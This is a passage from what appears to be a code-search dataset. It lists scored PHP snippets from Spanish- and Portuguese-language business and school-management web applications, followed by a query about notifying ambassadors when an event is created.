listar_productos($value);\n\t\t\t$value['productos'] = $value['productos']['rows'];\n\t\t\tif($value['tipo_promocion'] == 1) {\n\t\t\t\t$value['tipo_texto'] = 'Por descuento';\n\t\t\t} else if($value['tipo_promocion'] == 2) {\n\t\t\t\t$value['tipo_texto'] = 'Por cantidad';\n\t\t\t} else if($value['tipo_promocion'] == 3) {\n\t\t\t\t$value['tipo_texto'] = 'Mayor precio';\n\t\t\t} else if($value['tipo_promocion'] == 4) {\n\t\t\t\t$value['tipo_texto'] = 'Precio fijo';\n\t\t\t} else if($value['tipo_promocion'] == 5) {\n\t\t\t\t$value['tipo_texto'] = 'Comprar y obtener';\n\t\t\t}\n\t\t\t\n\t\t\t$horario = (!empty(strpos($value['dias'], \"0\"))) ? 'Do, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"1\"))) ? 'Lu, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"2\"))) ? 'Ma, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"3\"))) ? 'Mi, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"4\"))) ? 'Ju, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"5\"))) ? 'Vi, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"6\"))) ? 'Sa, ' : '' ;\n\t\t\t\n\t\t\t$value['horario'] = substr($horario, 0, -2);\n\t\t\t$value['horario'] .= ' == '.$value['inicio'].'-'.$value['fin'];\n\t\t\n\t\t// Agrega el elemento al array\n\t\t\t$datos[$value['id_promocion']] = $value;\n\t\t}\n\t\t\n\t// Inicializa el array de los insumos agregados\n\t\tsession_start();\n\t\t$_SESSION['productos_agregados'] = '';\t\n\t\t\n\t// Carga la vista de las promociones\n\t\trequire('views/configuracion/editar_promocion.php');\n\t}", "title": "" }, { "docid": "76b17fe98efc14993434dc6adc5e37e3", "score": "0.50114924", "text": "function renderVista(){\n\t\t$alumnos = $this->model->getAll();\n\n\t\t//le pasamos los registros a la vista\n\t\t$this->view->alumnos = $alumnos;\n\n\t\t//mando a llamr el metodo render de la clase view y le paso la vista a cargar\n\t\t//$vistaCargar = 'consulta/index';\n\t\t//$this->verificarUsuario($vistaCargar);\n\n\t\t$this->view->render('consulta/index');\n\t}", "title": "" }, { "docid": "a150f534195f79b2c66436de0577c313", "score": "0.49989393", "text": "public function formu()\n {\n $res = DB::table('Formulaire')\n ->select('*')\n ->where('Formulaire.CycleID', session('CycleID'))\n ->get();\n\n $Formulaire = array();\n \n foreach ($res as $mandala)\n {\n array_push($Formulaire, $mandala);\n }\n \n session(['Formulaire' => $Formulaire]);\n \n\n\n // get the number of formulaires we have\n $result = DB::table('Formulaire')\n ->select('*')\n ->where([\n ['SchoolCycle.SchoolID', session('SchoolID')],\n ['Formulaire.CycleID', session('CycleID')],\n ])\n ->join('SchoolCycle', 'SchoolCycle.CycleID', '=', 'Formulaire.CycleID')\n ->get();\n \n session(['NombreFormulaire' => count($result)]);\n }", "title": "" }, { "docid": "f3ed0b957c102a29dd356bbd9caaad3f", "score": "0.49931902", "text": "function modificarFactura(){\n\t\t$this->procedimiento='fac.ft_factura_ime';\n\t\t$this->transaccion='FAC_FACTU_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_factura','id_factura','int4');\n\t\t$this->setParametro('id_agencia','id_agencia','int4');\n\t\t$this->setParametro('id_sucursal','id_sucursal','int4');\n\t\t$this->setParametro('id_actividad_economica','id_actividad_economica','int4');\n\t\t$this->setParametro('id_moneda','id_moneda','int4');\n\t\t$this->setParametro('nit','nit','varchar');\n\t\t$this->setParametro('por_comis','por_comis','numeric');\n\t\t$this->setParametro('tcambio','tcambio','numeric');\n\t\t$this->setParametro('importe_comis','importe_comis','numeric');\n\t\t$this->setParametro('codigo_control','codigo_control','varchar');\n\t\t$this->setParametro('nro_factura','nro_factura','varchar');\n\t\t$this->setParametro('contabilizado','contabilizado','varchar');\n\t\t$this->setParametro('fecha','fecha','date');\n\t\t$this->setParametro('observacion','observacion','varchar');\n\t\t$this->setParametro('renglon','renglon','varchar');\n\t\t$this->setParametro('monto','monto','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('comision','comision','numeric');\n\t\t$this->setParametro('razon','razon','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "10d0329221be10d5f7ce92b2fef1e4f6", "score": "0.4992038", "text": "function Prov_MarcarRepetidos($conex)\n\t{\n\t$cant = array(0,0,0);\t// Array para estadistica\n\n\t// Busco los items de la tabla temporal que tienen igual cup pero distinta descripcion o precio\n\t// Esto implica que es un error del proveedor\n\t$query = \"SELECT cup, COUNT(*) AS Registros FROM prov_temp GROUP BY cup HAVING COUNT(*)>1 ORDER BY cup ASC\";\n\t$res1 = $conex->Execute($query);\n\n\t// Asigno el estado \"REPETIDO\" a los elementos temporales\n\t// Estado=2 si el item se debe asociar y se puede\n\t// Estado=3 si el item se debe asociar pero otro material tambien posee ese cup\n\t// Estado=4 si el item no se debe asociar pero esta repetido su cup\n\twhile(!$res1->EOF)\n\t\t{\n\t\t$cup = $res1->fields['cup'];\n\n\t\t// Busco los items de la tabla temporal que tienen igual cup, descripcion y precio\n\t\t// Lo que implica que fueron hechos a proposito para asociarlos al GR\n\t\t$query = \"SELECT cup, descripcion, precio, COUNT(*) AS Registros FROM prov_temp WHERE cup='$cup' GROUP BY cup, descripcion, precio HAVING COUNT(*)>1 ORDER BY cup ASC\";\n\t\t$res2 = $conex->Execute($query);\n\n\t\t// Comparo que las cantidades de las dos consultas sean iguales\n\t\t// Esto implica que todos los repetidos se deben a asociaciones del GR\n\t\tif($res1->fields['Registros'] == $res2->fields['Registros'] && $res2->fields['Registros']!=0)\n\t\t\t$conex->Execute(\"UPDATE prov_temp SET estado=2 WHERE cup='$cup'\");\n\t\telse if($res2->fields['Registros'])\n\t\t\t$conex->Execute(\"UPDATE prov_temp SET estado=3 WHERE cup='$cup'\");\n\t\telse\n\t\t\t$conex->Execute(\"UPDATE prov_temp SET estado=4 WHERE cup='$cup'\");\n\n\t\t$res1->MoveNext();\n\t\t}\n\t\n\t$res = $conex->Execute(\"SELECT estado FROM prov_temp WHERE estado=2\");\t$cant[0]=$res->NumRows();\n\t$res = $conex->Execute(\"SELECT estado FROM prov_temp WHERE estado=3\");\t$cant[1]=$res->NumRows();\n\t$res = $conex->Execute(\"SELECT estado FROM prov_temp WHERE estado=4\");\t$cant[2]=$res->NumRows();\n\treturn($cant);\n\t}", "title": "" }, { "docid": "67f855c03d496099af5d891f5b0ac42f", "score": "0.49858847", "text": "public function fAgregaCarrera(){\n\t\t$this->load->view('VagregaCarrera'); //Cargar la vista para agregar una carrera\n\t}", "title": "" }, { "docid": "94ddada2d0e7bc5f2573f580468b0531", "score": "0.49847907", "text": "function set_dispositivos_materiales($id_material,$compatibles)\n {//almacenamos directamente ese material con sus dispositivos compatibles\n //$compatibles = explode(',',$compatibles);\n for ($i=0; $i < count($compatibles); $i++)\n {\n $data = array(\n 'id_dispositivo' => $compatibles[$i],\n 'id_material' => $id_material\n );\n $this->db->insert('dispositivos_materiales', $data);\n }\n }", "title": "" }, { "docid": "21daa325b11d2ddf78bfe20f0620d892", "score": "0.4983333", "text": "function tablaDatos(){\n\n $editar = $this->Imagenes($this->PrimaryKey,0);\n $eliminar = $this->Imagenes($this->PrimaryKey,1);\n $sql = \"SELECT\n \n pl.descripcion planta,\n sec.descripcion seccion,\n\teq.descripcion equipo,\n com.descripcion componente,\n\tmeca.descripcion mecanismo,\n me.descripcion metodo,\n\totd.puntos,\n\tme.descripcion metodo,\n\ttar.descripcion tareas,\n\tlub.descripcion lubricante,\n\totd.cantidad,\n\totd.observaciones_ejec,\n uni.abreviatura unidad,\n otd.fecha_prog\n \nFROM\n ot_detalle otd \nINNER JOIN mec_met mec on mec.id_mecanismos = otd.id_mecanismos\nINNER JOIN unidades uni on uni.id_unidades = otd.codunidad_cant \nINNER JOIN mecanismos meca ON mec.id_mecanismos = meca.id_mecanismos\nINNER JOIN componentes com ON meca.id_componente = com.id_componentes\nINNER JOIN equipos eq ON com.id_equipos = eq.id_equipos\nINNER JOIN secciones sec ON eq.id_secciones = sec.id_secciones\nINNER JOIN plantas pl ON sec.id_planta = pl.id_planta\nINNER JOIN metodos me ON mec.id_metodos = me.id_metodos\nINNER JOIN tareas tar ON tar.id_tareas = mec.id_tareas\nINNER JOIN lubricantes lub ON lub.id_lubricantes = lub.id_lubricantes\nwhere otd.id_ot = '3'\nORDER BY pl.descripcion, sec.descripcion, q.descripcion, com.descripcion, meca.descripcion, me.descripcion ASC\";\n \n $datos = $this->Consulta($sql,1); \n if(count($datos)){\n $_array_formu = array();\n $_array_formu = $this->generateHead($datos);\n $this->CamposHead = ( isset($_array_formu[0]) && is_array($_array_formu[0]) )? $_array_formu[0]: array();\n \n $tablaHtml = '<div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"panel panel-default\">\n <div class=\"panel-body recargaDatos\" style=\"page-break-after: always;\">\n <div class=\"table-responsive\">';\n $tablaHtml .='';\n \t\t$tablaHtml .= $this->print_table($_array_formu, 4, true, 'table table-striped table-bordered',\"id='tablaDatos'\");\n \t\t$tablaHtml .=' </div>\n </div>\n </div>\n </div>\n </div>\n ';\n }else{\n $tablaHtml = '<div class=\"col-md-8\">\n <div class=\"alert alert-info alert-dismissable\">\n <button class=\"close\" aria-hidden=\"true\" data-dismiss=\"alert\" type=\"button\">×</button>\n <strong>Atenci&oacute;n</strong>\n No se encontraron registros.\n </div>\n </div>';\n }\n \n if($this->_datos=='r') echo $tablaHtml;\n else return $tablaHtml;\n \n }", "title": "" }, { "docid": "4eb8ae9e52c3481e428fff16eaecda2d", "score": "0.49805254", "text": "public function __construct() {\n $this->contasCorrente = new ArrayCollection();\n $this->dependentes = new ArrayCollection();\n $this->estagios = new ArrayCollection();\n $this->vinculos = new ArrayCollection();\n $this->horarios = new ArrayCollection();\n $this->crachas = new ArrayCollection();\n }", "title": "" }, { "docid": "15b590813e552d002dcf9bd7ca8eb506", "score": "0.49785778", "text": "function mostrar_materiales($pedidos, $id_nota_env)\r\n\t{\r\n\t\t$info = array();\r\n\t\tif(count($pedidos) != 0)\r\n\t\t{\r\n\t\t\t//Exploramos el array para obtener los id de los pedidos.\r\n\t\t\tforeach($pedidos as $Datos_pedido)\r\n\t\t\t{\r\n\t\t\t\t//Asignamos el id del pedido a una variable.\r\n\t\t\t\t$id_pedido = $Datos_pedido;\r\n\t\t\t\t\r\n\t\t\t\t//Establecemos la consulta.\r\n\t\t\t\t$Consulta_tipo = 'select id_nota_mat, cantidad, tipo,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tid_material, otro_mat, id_pedido\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tfrom pedido_nota_material\r\n\t\t\t\t\t\t\t\t\t\t\t\t\twhere id_pedido = \"'.$id_pedido.'\"\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tand id_nota_env = \"'.$id_nota_env.'\"';\r\n\t\t\t\t//Ejecutamos la consulta.\r\n\t\t\t\t$Resultado_tipo = $this->db->query($Consulta_tipo);\r\n\t\t\t\t//Verificamos si hay informacion para mostrar.\r\n\t\t\t\t$Datos_tipo = $Resultado_tipo->result_array();\r\n\t\t\t\t//print_r($Datos);\r\n\t\t\t\t//Exploramos el array.\r\n\t\t\t\tforeach($Datos_tipo as $Datos_tip)\r\n\t\t\t\t{\r\n\t\t\t\t\t//Asignamos los resultados a un nuevo array.\r\n\t\t\t\t\t$info[$id_pedido][$Datos_tip['id_nota_mat']]['id_pedido'] = $Datos_tip['id_pedido'];\r\n\t\t\t\t\t$info[$id_pedido][$Datos_tip['id_nota_mat']]['cantidad'] = $Datos_tip['cantidad'];\r\n\t\t\t\t\t$info[$id_pedido][$Datos_tip['id_nota_mat']]['tipo'] = $Datos_tip['tipo'];\r\n\t\t\t\t\t$info[$id_pedido][$Datos_tip['id_nota_mat']]['otro_mat'] = $Datos_tip['otro_mat'];\r\n\t\t\t\t\t$info[$id_pedido][$Datos_tip['id_nota_mat']]['id_material'] = $Datos_tip['id_material'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $info;\r\n\t}", "title": "" }, { "docid": "94790e6e0d577515d697460242db2e3d", "score": "0.49779785", "text": "public function ctrEstilosPlantilla()\n {\n $tabla = \"plantilla\";\n $respuesta = ModeloPantilla::mdlEstiloPlantilla($tabla);\n return $respuesta;\n }", "title": "" }, { "docid": "78d8af6672e46585ba19127c4d35d2b1", "score": "0.4971337", "text": "public function run()\n {\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '1',\n 'valor_cadena' => 'ACTIVO',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '2',\n 'valor_cadena' => 'INACTIVO',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '3',\n 'valor_cadena' => 'NO PARTICIPA MAS DE 1 AÑO',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '4',\n 'valor_cadena' => 'OBSERVADO',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '5',\n 'valor_cadena' => 'SUSPENDIDO TEMPORAL',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '6',\n 'valor_cadena' => 'SUSPENDIDO PERMANTE',\n ]);\n DB::table('parametrica')->insert([\n 'tabla' => 'ESTADO_ENCUESTADORES',\n 'codigo' => '7',\n 'valor_cadena' => 'FRAUDULENTO',\n ]);\n }", "title": "" }, { "docid": "cf6496ff91ed77eb26b03bb1d9fa6083", "score": "0.49692228", "text": "function modificarAnalisisMant(){\n\t\t$this->procedimiento='gem.ft_analisis_mant_ime';\n\t\t$this->transaccion='GEM_GEANMA_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_analisis_mant','id_analisis_mant','int4');\n\t\t$this->setParametro('id_uni_cons','id_uni_cons','int4');\n\t\t$this->setParametro('id_tipo_mant','id_tipo_mant','int4');\n\t\t$this->setParametro('id_funcionario_rev','id_funcionario_rev','int4');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('fecha_emision','fecha_emision','date');\n\t\t$this->setParametro('descripcion','descripcion','varchar');\n\t\t$this->setParametro('fecha_rev','fecha_rev','date');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "5b51ea5060bac8094b7b3ca8127e5b96", "score": "0.496562", "text": "public function __construct($_anoModelo,$_numeroMarchas,$_tipoRefrigeracao,$_tipoAlimentacao,$_tipoMotor,$_tipoPartida,$_tipoFreio,$_permiteAnunciarUsado = NULL,$_permiteAnunciarNovo = NULL,$_cores = NULL,$_opcionais = NULL)\n {\n parent::__construct(array('AnoModelo'=>$_anoModelo,'NumeroMarchas'=>$_numeroMarchas,'TipoRefrigeracao'=>$_tipoRefrigeracao,'TipoAlimentacao'=>$_tipoAlimentacao,'TipoMotor'=>$_tipoMotor,'TipoPartida'=>$_tipoPartida,'TipoFreio'=>$_tipoFreio,'PermiteAnunciarUsado'=>$_permiteAnunciarUsado,'PermiteAnunciarNovo'=>$_permiteAnunciarNovo,'Cores'=>($_cores instanceof CodigosWebMotorsMotosStructArrayOfCorMotoNovaWM)?$_cores:new CodigosWebMotorsMotosStructArrayOfCorMotoNovaWM($_cores),'Opcionais'=>($_opcionais instanceof CodigosWebMotorsMotosStructArrayOfOpcionalMotoNovaWM)?$_opcionais:new CodigosWebMotorsMotosStructArrayOfOpcionalMotoNovaWM($_opcionais)),false);\n }", "title": "" }, { "docid": "7dff31eb02f7f6bb3d9fc619ae08e26c", "score": "0.49646214", "text": "public function incluirMatricula()\n\t{\n\t\tif($this->input->post(NULL, TRUE))\n\t\t{\n\t\t\t$arrPost = $this->input->post();\n\t\t\t\n\t\t\t$arrDiaHora = array();\n\n\t\t\tif(isset($arrPost['chkDiaAulaSEG']))\n\t\t\t{\t\n\t\t\t\t$arrDiaHora['diaHoraSEG']['dia'] = 'SEG'; \n\t\t\t\t$arrDiaHora['diaHoraSEG']['hora'] = $arrPost['txtHoraAulaSEG']; \n\t\t\t}\n\t\t\t\n\t\t\tif(isset($arrPost['chkDiaAulaTER']))\n\t\t\t{\n\t\t\t\t$arrDiaHora['diaHoraTER']['dia'] = 'TER'; \n\t\t\t\t$arrDiaHora['diaHoraTER']['hora'] = $arrPost['txtHoraAulaTER']; \n\t\t\t}\n\n\t\t\tif(isset($arrPost['chkDiaAulaQUA']))\n\t\t\t{\n\t\t\t\t$arrDiaHora['diaHoraQUA']['dia'] = 'QUA'; \n\t\t\t\t$arrDiaHora['diaHoraQUA']['hora'] = $arrPost['txtHoraAulaQUA']; \n\t\t\t}\n\n\t\t\tif(isset($arrPost['chkDiaAulaQUI']))\n\t\t\t{\n\t\t\t\t$arrDiaHora['diaHoraQUI']['dia'] = 'QUI'; \n\t\t\t\t$arrDiaHora['diaHoraQUI']['hora'] = $arrPost['txtHoraAulaQUI']; \n\t\t\t}\n\n\t\t\tif(isset($arrPost['chkDiaAulaSEX']))\n\t\t\t{\n\t\t\t\t$arrDiaHora['diaHoraSEX']['dia'] = 'SEX'; \n\t\t\t\t$arrDiaHora['diaHoraSEX']['hora'] = $arrPost['txtHoraAulaSEX']; \n\t\t\t}\n\t\t\t\n\t\t\t$this->form_validation->set_rules('sltCurso', 'Curso', 'required');\n\n\t\t\t$this->form_validation->set_error_delimiters(\"<p style='color: #E74C3C;'>\", \"</p>\");\n\n\t\t\tif ($this->form_validation->run() == FALSE)\n\t\t\t{\n\t\t\t\t$this->formIncluirMatricula();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$arrInfoMatriculaAluno = $this->matricula_model->verificaMatriculaAluno($arrPost['sltAluno'], $arrPost['sltCurso']);\n\n\t\t\t\tif($arrInfoMatriculaAluno)\n\t\t\t\t{\n\t\t\t\t\tNotificacao::setNotificacao(\"Aluno já foi matriculado para este curso! (Aluno: {$arrInfoMatriculaAluno['nome_aluno']}, Curso: {$arrInfoMatriculaAluno['nome_curso']}, Data Matícula: {$arrInfoMatriculaAluno['data_matricula_formatada']})\", Notificacao::$NOTIFICACAO_ERRO);\n\t\t\t\t\tredirect('matricula/gerenciar');\n\t\t\t\t}\n\n\t\t\t\t$arrInfoMatricula = array(\n\t\t\t\t\t'id_aluno' => $arrPost['sltAluno'], \n\t\t\t\t\t'id_estagio' => $arrPost['sltEstagio'],\n\t\t\t\t\t'data_matricula' => implode(\"-\", array_reverse(explode(\"/\", $arrPost['txtDataMatricula']))),\n\t\t\t\t\t'ativo' => $arrPost['rdoStatusMatricula'],\n\t\t\t\t\t'id_usuario_cadastro' => $this->credencial['id_usuario'],\n\t\t\t\t\t'data_cadastro' => date('Y-m-d H:i:s')\n\t\t\t\t);\n\n\t\t\t\t$this->db->trans_begin();\n\n\t\t\t\t$idMatricula = $this->matricula_model->incluirMatricula($arrInfoMatricula);\n\n\t\t\t\tforeach ($arrDiaHora as $infoAula)\n\t\t\t\t{\n\t\t\t\t\t$arrInfoDiaHoraAula = array(\n\t\t\t\t\t\t'id_matricula' => $idMatricula,\n\t\t\t\t\t\t'dia_aula' => $infoAula['dia'],\n\t\t\t\t\t\t'horario_aula' => $infoAula['hora']\n\t\t\t\t\t);\n\n\t\t\t\t\t$this->matricula_model->incluirMatriculaTurma($arrInfoDiaHoraAula);\n\t\t\t\t}\n\n\t\t\t\tif ($this->db->trans_status() === FALSE)\n\t\t\t\t{\n\t\t\t\t\t$this->db->trans_rollback();\n\t\t\t\t\tNotificacao::setNotificacao('Erro ao incluir matrícula.', Notificacao::$NOTIFICACAO_ERRO);\n\t\t\t\t\tredirect('matricula/gerenciar');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t $this->db->trans_commit();\n\t\t\t\t Notificacao::setNotificacao('Matrícula incluída com sucesso!', Notificacao::$NOTIFICACAO_SUCESSO);\n\t\t\t\t redirect('matricula/gerenciar');\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5f24d72ceefd136123100923e746b485", "score": "0.49587744", "text": "public function asesorEstimacionCostos() {\n $this->mostrarVista('panel/asesor/estimacioncostos');\n }", "title": "" }, { "docid": "0f0c413d50173815db0551464751e3ce", "score": "0.49555066", "text": "public function index()\n {\n if(!isset($_SESSION['ContraPass']) || !isset($_SESSION['usuarioUser'])){\n return view('interfazprincipal.Interfaz');\n }\n\n $Docentes = Docentes::all();\n\n if (count($Docentes)==0){\n return redirect('/ControlEscolarInicio')->with('MsjERR','No tiene docentes registrados');\n }\n else{\n $now= Carbon::now();\n $fecha=$now-> format('m');\n \n \n\n if ($fecha>='01' and $fecha<='06'){\n\n $Materias_Grupo=materia_grupo::where('Semestre','=','SEGUNDO SEMESTRE')->orWhere('Semestre','=','CUARTO SEMESTRE')->orWhere('Semestre','=','SEXTO SEMESTRE')->get('Clave_M');\n if (count($Materias_Grupo)==0){\n return redirect('/ControlEscolarInicio')->with('MsjERR','Primero debe crear los grupos');\n }\n else{\n\n $Nom_Mat = Materia::where('Semestre','=','SEGUNDO SEMESTRE')->orWhere('Semestre','=','CUARTO SEMESTRE')->orWhere('Semestre','=','SEXTO SEMESTRE')->get();\n $Grupo_Mat = materia_grupo::where('Semestre','=','SEGUNDO SEMESTRE')->orWhere('Semestre','=','CUARTO SEMESTRE')->orWhere('Semestre','=','SEXTO SEMESTRE')->get();\n\n $Materias1=array();\n $Grupo_M1=array();\n $bandera=False;\n\n for ($i=0; $i < count($Materias_Grupo); $i++) {\n $Clave_Mat=$Materias_Grupo[$i]->Clave;\n\n for ($j=0; $j <count($Nom_Mat) ; $j++) {\n $Clave_2=$Nom_Mat[$j]->Clave;\n\n if ($Clave_Mat == $Clave_2){\n $dato=$Nom_Mat[$j];\n $bandera=True;\n $valor=$Grupo_Mat[$i];\n }\n }\n if ($bandera==True){\n array_push($Materias1,$dato);\n $bandera=False;\n array_push($Grupo_M1,$valor);\n }\n }\n\n $M_P_S=Materia::where('Semestre','PRIMER SEMESTRE')->get();\n $M_S_S=Materia::where('Semestre','SEGUNDO SEMESTRE')->get();\n $M_T_S=Materia::where('Semestre','TERCER SEMESTRE')->get();\n $M_C_S=Materia::where('Semestre','CUARTO SEMESTRE')->get();\n $M_Q_S=Materia::where('Semestre','QUINTO SEMESTRE')->get();\n $M_SIX_S=Materia::where('Semestre','SEXTO SEMESTRE')->get();\n $num=1;\n\n $Materias_YA_Asignadas_Nombre=RelacionDocenteMateriaGrupo::get('Materia');\n $Materias_YA_Asignadas_Grupo=RelacionDocenteMateriaGrupo::get('Grupo');\n\n //ESTO ES PARA SACAR LA MATERIA Y EL GRUPO, PARA COMPARAR CUALES MATERIAS YA ESTAN ASIGNADAS A QUE MAESTRO.\n $Materias2=array();\n $Grupo_M2=array();\n foreach ($Materias1 as $Materia1) {\n array_push($Materias2,$Materia1->Nombre);\n }\n foreach ($Grupo_M1 as $Grup_M1) {\n array_push($Grupo_M2,$Grup_M1->Grupo);\n }\n \n $Materias=array();\n $Grupo_M=array();\n for ($i=0; $i < count($Materias2); $i++) { \n $M=$Materias2[$i];\n $G=$Grupo_M2[$i];\n $datoM=$Materias1[$i];\n $datoG=$Grupo_M1[$i];\n $Ban=False;\n \n for ($j=0; $j <count($Materias_YA_Asignadas_Nombre) ; $j++) {$MA=$Materias_YA_Asignadas_Nombre[$j]->Materia;\n $GA=$Materias_YA_Asignadas_Grupo[$j]->Grupo;\n \n if ($MA==$M && $GA==$G){\n $Ban=True;\n }\n }\n if ($Ban==False){\n array_push($Materias,$datoM);\n array_push($Grupo_M,$datoG);\n }\n }\n if (count($Materias)==0){\n return redirect('/ControlEscolarInicio')->with('MsjERR','Todas las materias han sido asignadas');\n }\n else{\n \n return view('RegistrarDocentes.asignar',compact('Materias','Docentes','M_S_S','M_C_S','M_SIX_S','num','M_P_S','M_T_S','M_Q_S','Grupo_M'));\n }\n }\n }\n if ($fecha>='07' and $fecha<='12'){\n $Materias_Grupo=materia_grupo::where('Semestre','=','PRIMER SEMESTRE')->orWhere('Semestre','=','TERCER SEMESTRE')->orWhere('Semestre','=','QUINTO SEMESTRE')->get('Clave_M');\n //return count($Materias_Grupo);\n if (count($Materias_Grupo)==0){\n return redirect('/ControlEscolarInicio')->with('MsjERR','Primero debe crear los grupos');\n }\n else{\n\n $Nom_Mat2= Materia::where('Semestre','=','PRIMER SEMESTRE')->orWhere('Semestre','=','TERCER SEMESTRE')->orWhere('Semestre','=','QUINTO SEMESTRE')->get();\n $Grupo_Mat2= materia_grupo::where('Semestre','=','PRIMER SEMESTRE')->orWhere('Semestre','=','TERCER SEMESTRE')->orWhere('Semestre','=','QUINTO SEMESTRE')->get();\n\n $Materias1=array();\n $Grupo_M1=array();\n $bandera2=0;\n //return count($Nom_Mat2);\n for ($i=0; $i < count($Materias_Grupo); $i++) {\n $Clave_Mat=$Materias_Grupo[$i]->Clave_M;\n //return $Materias_Grupo[$i];\n\n for ($j=0; $j <count($Nom_Mat2) ; $j++) {\n $Clave_2=$Nom_Mat2[$j]->Clave_M;\n \n if ($Clave_Mat == $Clave_2){\n //print_r('entro');\n $dato=$Nom_Mat2[$j];\n $valor=$Grupo_Mat2[$i];\n array_push($Materias1,$dato);\n array_push($Grupo_M1,$valor);\n }\n }\n }\n \n $M_P_S=Materia::where('Semestre','PRIMER SEMESTRE')->get();\n $M_S_S=Materia::where('Semestre','SEGUNDO SEMESTRE')->get();\n $M_T_S=Materia::where('Semestre','TERCER SEMESTRE')->get();\n $M_C_S=Materia::where('Semestre','CUARTO SEMESTRE')->get();\n $M_Q_S=Materia::where('Semestre','QUINTO SEMESTRE')->get();\n $M_SIX_S=Materia::where('Semestre','SEXTO SEMESTRE')->get();\n $num=0;\n\n $Materias_YA_Asignadas_Nombre=RelacionDocenteMateriaGrupo::get('Materia');\n $Materias_YA_Asignadas_Grupo=RelacionDocenteMateriaGrupo::get('Grupo');\n\n //ESTO ES PARA SACAR LA MATERIA Y EL GRUPO, PARA COMPARAR CUALES MATERIAS YA ESTAN ASIGNADAS A QUE MAESTRO.\n $Materias2=array();\n $Grupo_M2=array();\n //return count($Materias1);\n foreach ($Materias1 as $Materia1) {\n array_push($Materias2,$Materia1->Nombre);\n }\n foreach ($Grupo_M1 as $Grup_M1) {\n array_push($Grupo_M2,$Grup_M1->Grupo);\n }\n \n $Materias=array();\n $Grupo_M=array();\n for ($i=0; $i < count($Materias2); $i++) { \n $M=$Materias2[$i];\n $G=$Grupo_M2[$i];\n $datoM=$Materias1[$i];\n $datoG=$Grupo_M1[$i];\n $Ban=False;\n \n for ($j=0; $j <count($Materias_YA_Asignadas_Nombre) ; $j++) {$MA=$Materias_YA_Asignadas_Nombre[$j]->Materia;\n $GA=$Materias_YA_Asignadas_Grupo[$j]->Grupo;\n \n if ($MA==$M && $GA==$G){\n $Ban=True;\n }\n }\n if ($Ban==False){\n array_push($Materias,$datoM);\n array_push($Grupo_M,$datoG);\n }\n }\n //return $Materias;\n if (count($Materias)==0){\n return redirect('/ControlEscolarInicio')->with('MsjERR','Todas las materias han sido asignadas');\n }\n else{\n //return count($Materias);\n return view('RegistrarDocentes.asignar',compact('Materias','Docentes','M_S_S','M_C_S','M_SIX_S','num','M_P_S','M_T_S','M_Q_S','Grupo_M'));\n }\n }\n }\n }\n }", "title": "" }, { "docid": "074e8d44cdc1e37503f930a6e6d0539b", "score": "0.49534917", "text": "function newFascia(EFascia $fascia){array_push($this->listaFasce,$fascia);}", "title": "" }, { "docid": "ede9763e11016112569b29855b981bf4", "score": "0.49529263", "text": "public function actionResumen(){\n //obtenemos la fecha de hoy...\n $searchModel = new CompraSearch();\n $searchModel->fecha=date('Y-m-d');\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n return $this->render('vtasDiarias', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n \n }", "title": "" } ]
622f2cd6223c6f840cbe54f549d3a2f6
Get the ambassador list based on the event country
[ { "docid": "053086655d654d759367dc4d3b4a6ac8", "score": "0.0", "text": "public function notifyAmbassadors()\n {\n $ambassadors = User::role('ambassador')->where('country_iso', $this->country_iso)->get();\n if ($ambassadors->isEmpty()) {\n Mail::to('[email protected]')->queue(new \\App\\Mail\\EventCreatedNoAmbassador($this));\n } else {\n //send emails\n foreach ($ambassadors as $ambassador) {\n Mail::to($ambassador->email)->queue(new \\App\\Mail\\EventCreated($this, $ambassador));\n }\n }\n\n }", "title": "" } ]
